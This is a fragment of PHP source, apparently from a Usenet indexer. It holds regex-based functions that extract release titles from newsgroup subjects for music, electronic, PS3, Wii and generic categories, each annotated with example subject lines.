_-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+[,.]\\d+ [mMkKgG][bB][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Endless.Space.Disharmony.v1.1.1.Update-SKIDROW - [1/6] - \"Endless.Space.Disharmony.v1.1.1.Update-SKIDROW.nfo\" - yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9-\\._ ]+) - \\[\\d+\\/(\\d+\\]) - \".+?' . $this->e0 . '{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(F.E.A.R.3.Update.1-SKIDROW) [01/12] - \"F.E.A.R.3.Update.1-SKIDROW.par2\" yEnc\n\t\tif (preg_match('/^\\(([a-zA-Z0-9-\\._ ]+)\\) \\[\\d+\\/(\\d+\\]) - \".+?' . $this->e0 .\n\t\t\t\t\t '{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Company.of.Heroes.2.Update.v3.0.0.9704.Incl.DLC.GERMAN-0x0007) - \"0x0007.nfo\" yEnc\n\t\tif (preg_match('/^\\(([a-zA-Z0-9-\\._ ]+)\\) - \".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function music()\n\t{\n\t\tif (preg_match('/^.+By Dready Niek \\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(00/24] Marco Mengoni - Prontoacorrere (2013) \"Marco Mengoni - Prontoacorrere (2013).nzb\" - nightsteff yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\] (.+?) \".+?' . $this->e0 . ' - nightsteff yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(80's Disco-Soul-Funk) [136/426] - [\"Level 42 - Lessons In Love.mp3\"] yEnc\n\t\tif (preg_match('/^\\((.+)\\) \\[\\d+\\/\\d+\\] - \\[\".+?' . $this->e0 . '\\] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [001/153] - \"C4 House Party Horse Meat Disco Set 6.nfo\" C4 House Party Horse Meat Disco Set 6 yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [19/22] - C.K.N. Demo 85 \"19-rotten system.mp3\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - (.+)[-_\\s]{0,3}\".+?' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Jungle Fever Tapepacks) [67/79] - \"Jungle Fever Tapepacks.part65.rar\" yEnc\n\t\tif (preg_match('/^\\((.+)\\) \\[\\d+\\/(\\d+\\]) - \".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //[1/8] - \"Black Market Flowers - Bind (1993).sfv\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[DreamPieter] (Glen Tipton - Two solo albums) [04/23] - \"Glenn Tipton - Baptizm of Fire - 04 - Fuel Me Up.mp3\" yEnc\n\t\tif (preg_match('/^\\[DreamPieter\\] \\((.+)\\) \\[\\d+\\/\\d+\\] - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<< <ghost-of-usenet.org> <\"Dream Dance Vol. 21-30 - 20CDs MP3 - Ghost.part20.rar\"> >www.SSL-News.info< - (22/32) - 2,45 GB yEnc\n\t\tif (preg_match('/^.+ghost-of-usenet\\.org.+\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t '> >www\\.SSL-News\\.info< - \\(\\d+\\/\\d+\\) - \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Musikjunkie-The.Voice.Of.Germany.2013.The.Best.of.Liveshows.4.CD.Box.Set.VBR [15/28]\"voice.part13.rar\" yEnc\n\t\tif (preg_match('/^Musikjunkie-([\\pL\\pN\\pM\\pP. -]{8,})[-_\\s]{0,3}\\[\\d+\\/\\d+\\]\".+?' .\n\t\t\t\t\t $this->e1 . 'u',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"8 Wenn ich einmal gross bin .mp3\" Koelschefetz postet.Die Filue -Immer Wigger yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Der etwas andere Mix - Deutscher Foxmix 14 (by dem verrückten Lordi) (3/8) \"Der etwas andere Mix - Deutscher Foxmix 14.txt\" - 271,24 MB 11.11.03 yEnc\n\t\tif (preg_match('/^.+\\(by dem verrückten Lordi\\)[-_\\s]{0,3}\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB].+[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//(01/10) \"Mylène Farmer - Monkey me (2012 Bluray Audio).rar\" - 1,56 GB - yEnc\n\t\t//(3/7) \"DJ Taz3 - Your Choice Sendung Silvester 2012.mp3.vol00+01.PAR2\" - 119,50 MB -RadioShows und Livesets yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][-_\\s]{0,3}.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[00/20] Nomadi - Terzo Tempo (2012) \"Nomadi - Terzo Tempo (2012).nzb\" - nightsteff yEnc\n\t\t//[02/56] - The Beatles - The Decca Tapes \"Beatles - The Decca Tapes.part01.rar\" yEnc\n\t\tif (preg_match('/^[\\(\\[]\\d+\\/\\d+[\\]\\)][-_\\s]{0,3}(.+) \".+?' . $this->e0 .\n\t\t\t\t\t '([-_\\s]{0,3}nightsteff)?[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[Marillion - Live From Cadogan Hall 2011 (DVD 1)] [981/98] - \"Marillion - Live From Cadogan Hall 2011 (DVD 1).par2\" yEnc\n\t\tif (preg_match('/^\\[.+\\] \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //XTC - NMR - 2001 - Homegrown - The Wasp Star Home Demos [22 of 34] \"2001 - Homegrown - The Wasp Star Home Demos.vol00+01.PAR2\" yEnc\n\t\tif (preg_match('/^.+ \\[\\d+ of \\d+\\] \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Wendy O Williams Bump n Grind - \"Wendy.O.Williams.Bump.n.Grind.nfo\" yEnc\n\t\tif (preg_match('/^.+[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //The Amity Affliction - Chasing Ghosts_lossless (01/11) - \"The Amity Affliction - Chasing Ghosts_lossless.par2\" - 321,40 MB - codari_4_usenetrevolution.info-Partner of SSL-News yEnc\n\t\tif (preg_match('/^.+ \\(\\d+\\/\\d+\\) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' - \\d+[.,]\\d+ [kKmMgG][bB].+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Bob Marley & The Wailers - African Herbsman.nzb 0/8 yEnc\n\t\tif (preg_match('/^([^.]{8,})([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) \\d+\\/\\d+[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //DOG DAYS' Season 2 ED Single - Natsu no Yakusoku (Horie Yui)[KICM-1402].- DOG DAYS' Season 2 ED Single - Natsu no Yakusoku (Horie Yui)[KICM-1402].nzb [00/13] yEnc\n\t\tif (preg_match('/^[\\w. &()\\[\\]\\'-]+?\\.- ([^.]{8,})([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) \\[\\d+\\/\\d+\\][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //7 Seconds - Complete Discography - 21 releases - 1980-2005(04/51) \"7 Seconds - Complete Discography 1980-2005 - 21 releases.part02.rar\" - 639.17 MB - yEnc\n\t\tif (preg_match('/\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //7 Seconds - Complete Discography - 21 releases - 1980-2005(04/51) \"7 Seconds - Complete Discography 1980-2005 - 21 releases.part02.rar\" yEnc\n\t\tif (preg_match('/\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //El.Huervo-Do.Not.Lay.Waste.To.Homes.WEB-DL.MP3.VBR.V0.2012 [00/25] - \"vbr.nzb\" yEnc\n\t\tif (preg_match('/(.+)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"[a-zA-Z]{3,4}\\.nzb\"[-_\\s]{0,3}yEnc$/ui', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function sounds_mp3_electronic()\n\t{\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(2/7) \"Cosmic Baby live at Energy 1995.vol00+01.PAR2\" - 0 B - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+ [bB][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[0sk]-[2002-12-06]-[idm]-[vinyl]-[4/5]-[Maps_And_Diagrams_-_Ti_Sta_Bene_Marone-(cact_001)-Vinyl-2002]--cact 001.sfv yEnc\n\t\tif (preg_match('/^\\[0sk\\]-\\[\\d+-\\d+-\\d+\\]-\\[.+\\]-\\[.+\\]-\\[\\d+\\/\\d+\\]-\\[([\\w.,& ()\\[\\]\\'\\`-]{8,})\\]--.+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[10_years---happy_bday_absme]-[cd]-[04/15]-[va_-_spacewars_01-(plkcd003)-cd-1996-nwd]-01-Nuw Idol - Union Of Ilk -nwd-.mp3 yEnc\n\t\tif (preg_match('/^\\[.+\\]-\\[.+\\]-\\[\\d+\\/\\d+\\]-\\[([\\w.,& ()\\[\\]\\'\\`-]{8,})\\]-.+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Alec Empire - Low On Ice 06 - Untitled.mp3 yEnc\n\t\tif (preg_match('/^([\\w.,& ()\\[\\]\\'\\`-]{8,}?)[-_\\s]{0,3}\\d+[-_\\s]{0,3}[\\w.,& ()\\[\\]\\'\\`-]{8,}?\\b.?([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4})[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Selected Songs by Various Artists - Collide - Razor Sharp.mp3 yEnc\n\t\tif (preg_match('/^Selected Songs by Various Artists - ([^.]{8,})([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4})[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function generic()\n\t{\n\t\t// This regex gets almost all of the predb release names also keep in mind that not every subject ends with yEnc, some are truncated, because of the 255 character limit and some have extra charaters tacked onto the end, like (5/10).\n\t\tif (preg_match('/^\\[\\d+\\][-_\\s]{0,3}(\\[(reup|full|repost.+?|part|re-repost|xtr|sample)(\\])?[-_\\s]{0,3}\\[[- #@\\.\\w]+\\][-_\\s]{0,3}|\\[[- #@\\.\\w]+\\][-_\\s]{0,3}\\[(reup|full|repost.+?|part|re-repost|xtr|sample)(\\])?[-_\\s]{0,3}|\\[.+?efnet\\][-_\\s]{0,3}|\\[(reup|full|repost.+?|part|re-repost|xtr|sample)(\\])?[-_\\s]{0,3})(\\[FULL\\])?[-_\\s]{0,3}(\\[ )?(\\[)? ?(\\/sz\\/)?(F: - )?(?P<title>[- _!@\\.\\'\\w\\(\\)~]{10,}) ?(\\])?[-_\\s]{0,3}(\\[)? ?(REPOST|REPACK|SCENE|EXTRA PARS|REAL)? ?(\\])?[-_\\s]{0,3}?(\\[\\d+[-\\/~]\\d+\\])?[-_\\s]{0,3}[\"|#34;]*.+[\"|#34;]* ?[yEnc]{0,4}/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match['title'];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function console_ps3()\n\t{\n\t\t//Madagascar.Kartz.German.JB.PS3-ATAX [01/40] - \"atax-mkgjp.nfo\"\n\t\t//Saints_Row_The_Third_The_Full_Package_EUR-PS3-SPLiT [61/87] - \"split-sr3fullpps3.r58\" yEnc\n\t\tif (preg_match('/^([\\w.]+?-?PS3-[a-zA-Z0-9]+) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(4168) [00/24] - \"Legend.Of.The.Guardians.Owls.GaHoole.USA.JB.PS3-PSFR33.nzb\" yEnc\n\t\tif (preg_match('/^\\(\\d+\\) \\[\\d+\\/\\d+\\] - \"([\\w.]{10,}?PS3-[A-Za-z0-9]+?)\\..+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[4230]-[ABGX.net]-[ Air_Conflicts_Pacific_Carriers_USA_PS3-CLANDESTiNE ] (01/54) \"clan-aircpc.nfo\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\]-\\[.+?\\]-\\[ (.+?) \\] \\(\\d+\\/\\d+\\) \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //.: Birds_of_Steel_PS3-ABSTRAKT :. - .:www.thunder-news.org:. - .:sponsored by secretusenet.com:. - \"as-bos.r39\" yEnc\n\t\tif (preg_match('/\\.: (.+):. - .:www\\.thunder-news\\.org:. - .:sponsored by secretusenet\\.com:\\. - (\"|#34;).+(\"|#34;).+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Armored_Core_V_PS3-ANTiDOTE__www.realmom.info__.r00\" (03/78) 3,32 GB yEnc\n\t\tif (preg_match('/^\"(.+)__www.realmom.info__.+\" \\(\\d+\\/(\\d+\\)) \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Ace.Combat.Assault.Horizon.PS3-DUPLEX__www.realmom.info__.nfo\" 7,14 GB yEnc\n\t\tif (preg_match('/^\"(.+)__www.realmom.info__.+\" (\\d+[.,]\\d+ [kKmMgG][bB]) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Angry Birds USA PSN PSP-NRP.exe\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function games_wii()\n\t{\n\t\tif (preg_match('/^\"(.+)__www.realmom.info__.+\" \\(\\d+\\/\\d+\\) \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[Cabelas_North_American_Adventure_USA_WII-ZRY-Scrubbed-xeroxmalf]-[#a.b.g.w@efnet]-[www.abgx.net]-[01/27] - \"Cabelas_North_American_Adventure_USA_WII-ZRY-Scrubbed-xeroxmalf.par2\" yEnc\n\t\tif (preg_match('/^\\[(.+)\\]-\\[#a.b.g.w@efnet\\]-\\[www.abgx.net\\]-\\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//4300 World.Sports.Competition.USA.VC.Wii-OneUp....... AmigaOS4.1 RULEZ [0/9] - \"4300.nzb\" yEnc\n\t\t//4300 1695.World.Sports.Competition.USA.VC.Wii-OneUp....... AmigaOS4.1 RULEZ [0/9] - \"4300.nzb\" yEnc\n\t\tif (preg_match('/^\\d+ (\\d+\\.)?(.+-OneUp).+ \\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //6717 - Baseball.Stars.2.PAL.VC.NG.Wii-OneUp - 01/11 - \"1u-baseball-stars-2-pal.nfo\" yEnc\n\t\tif (preg_match('/^\\d+ - (.+-OneUp).+ \\d+\\/\\d+ - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[2103]-[abgx.net] Harvey_Birdman_Attorney_At_Law-USA-WII [000/104] - \"Harvey_Birdman_Attorney_At_Law-USA-WII.nzb\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\]-\\[abgx.net\\] (.+) \\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(3790)-[abgx.net]-[Samurai_Warriors_Katana_USA-WII]-[000/105] - \"3790.nzb\" yEnc\n\t\tif (preg_match('/^\\(\\d+\\)-\\[abgx.net\\]-(.+)-\\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[REQ# 7134] Full 105 Cocoto_Magic_Circus_PAL_Wii-OE PAL \"oe-magic.r00\" 4.57 GB yEnc\n\t\tif (preg_match('/^\\[REQ# \\d+\\] Full \\d+ (.+) PAL (\"|#34;).+(\"|#34;) \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[11614]-[#a.b.g.wii@efnet]-[ EA.Sports.Active.NFL.Training.Camp.USA.WII-ProCiSiON ]-[01/95] - \"xxx-nflt.nfo\" yEnc\n\t\tif (preg_match('/\\[[\\d#]+\\]-\\[.+?\\]-\\[ (.+?) \\][- ]\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[8524]-[#a.b.g.wii@EFNet]-[FULL]-[Fantastic_Four_Rise_Of_The_Silver_Surfer_NTSC_Wii-VORTEX]-[001/104] - \"vortex-ffrotss.wii.nfo\" yEnc\n\t\tif (preg_match('/\\[[\\d#]+\\]-\\[.+?\\]-\\[.+?\\]-\\[(.+?)\\][- ]\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[13118]-[abgx]-[FULL]-[Doods_Big_Adventure_PAL_WII-PLAYME]-po0p?!-[000/103] - \"13118.nzb\" yEnc\n\t\tif (preg_match('/^\\[\\d+]-\\[abgx\\]-\\[FULL\\]-\\[(.+)-PLAYME\\]-po0p.+-\\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[13208]-[#ab@EFNet]-[FULL]-[Calvin_Tuckers_Farm_Animal_Racing_PAL_Wii-WiiERD]-po0p!-[072/112] - \"w-ctfar.r68\" yEnc\n\t\tif (preg_match('/^\\[\\d+]-\\[#ab@EFNet\\]-\\[FULL\\]-\\[(.+)-WiiERD\\]-po0p.+-\\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(www.Thunder-News.org) >Winter.Stars.USA.WII-dumpTruck< <Sponsored by AstiNews> - (001/112) - \"dumptruck-winterstars.par2\" yEnc\n\t\tif (preg_match('/^\\(www\\.Thunder-News\\.org\\) ?>(.+)< ?<Sponsored.+>[ _-]{0,3}(\\(\\d+\\/\\d+\\)|\\[\\d+\\/\\d+\\])?[ _-]{0,5}(\"|#34;).+(\"|#34;) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[9987]-[#a.b.g.wii@efnet]-[ Tales.of.Elastic.Boy.Mission.1.USA.WiiWare.Wii-OneUp ]-[01/12] - #34;1u-tales-of-elastic-boy-mission-1.nfo#34; yEnc\n\t\tif (preg_match('/^\\[\\d+]-\\[#a\\.b\\.g\\.wii@efnet\\]-\\[ ?(.+) ?\\]-\\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[2207] Swing_Golf_Pangya_JPN_Wii-Caravan NTSC-J DVD5 [001/102] - \"cvn-sgp.nfo\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\] (.+) NTSC-J DVD5 \\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[3867] FaceBreaker.K.O.Party.PAL.Wii-RANT <>000/110<> \"3867.nzb\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\] (.+) <>\\d+\\/\\d+<> (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[COMPRESSED] Family_Feud_2010_Edition_USA_Wii-QwiiF [01/26] - \"Family_Feud_2010_Edition_USA_Wii-QwiiF.par2\" yEnc\n\t\tif (preg_match('/^\\[COMPRESSED\\] (.+) \\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[COMPRESSED] Rooms.The.Main.Building.USA.WII-SUSHi - su-rousa.par2 [01/18] (1/1) (1/1) yEnc\n\t\tif (preg_match('/^\\[COMPRESSED\\] (.+) - .+ \\[\\d+\\/\\d+\\] .+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //WII4U - thinkSMART.Family.USA.WII-dumpTruck - [01/15] - \"dumptruck-tf.par2\" yEnc\n\t\tif (preg_match('/^WII4U - (.+) - \\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<Old but Sold>>> <<< >< >< \"Rogue Trooper The Quartz Zone Massacre (2009)PAL Wii\" >< 037/131 () >< > yEnc\n\t\tif (preg_match('/^<<<Old but Sold>>> <<< >< >< (\"|#34;)(.+)(\"|#34;) >< \\d+\\/\\d+ \\(\\) >< > yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[6840]-[abgx@Efnet]-[My.Fitness.Coach.NTSC-WII-ProCiSiON] - (001/110) \"xxx-mfc.par2\" - 4.76 GB yEnc\n\t\tif (preg_match('/^\\[\\d+\\]-\\[abgx@Efnet\\]-\\[(.+)\\] - \\(\\d+\\/\\d+\\) 